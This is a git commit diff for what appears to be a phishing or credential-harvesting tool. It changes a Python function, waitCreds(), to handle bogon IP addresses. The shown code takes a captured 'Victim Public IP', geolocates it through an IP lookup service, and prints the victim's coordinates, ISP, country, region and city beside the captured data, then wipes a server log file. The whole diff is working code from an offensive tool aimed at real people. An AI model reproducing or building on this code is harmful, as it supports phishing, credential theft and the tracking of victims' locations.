Fix for bogus IP's. Fix of #50

This commit is contained in:
alexmozzhakov 2018-06-20 19:00:40 +03:00
parent 9cc6f78529
commit 41c9e16a0a

View File

@ -153,14 +153,18 @@ def waitCreds():
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1) ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
resp = urlopen('https://ipinfo.io/%s/json' % ip).read() resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
ipinfo = json.loads(resp) ipinfo = json.loads(resp)
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc']) if (ipinfo['bogon'] != None):
latitude = matchObj.group(1) print ('======================================================================'.format(RED, END))
longitude = matchObj.group(2) print (' \n{0}[ VICTIM IP BOGUS ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
print ('======================================================================'.format(RED, END)) else:
print (' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines) matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
print (' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, END) % (longitude, latitude)) latitude = matchObj.group(1)
print (' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, END) % (ipinfo['org'], ipinfo['country'])) longitude = matchObj.group(2)
print (' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, END) % (ipinfo['region'], ipinfo['city'])) print ('======================================================================'.format(RED, END))
print (' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
print (' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, END) % (longitude, latitude))
print (' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, END) % (ipinfo['org'], ipinfo['country']))
print (' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, END) % (ipinfo['region'], ipinfo['city']))
system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt') system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt')
print ('======================================================================'.format(RED, END)) print ('======================================================================'.format(RED, END))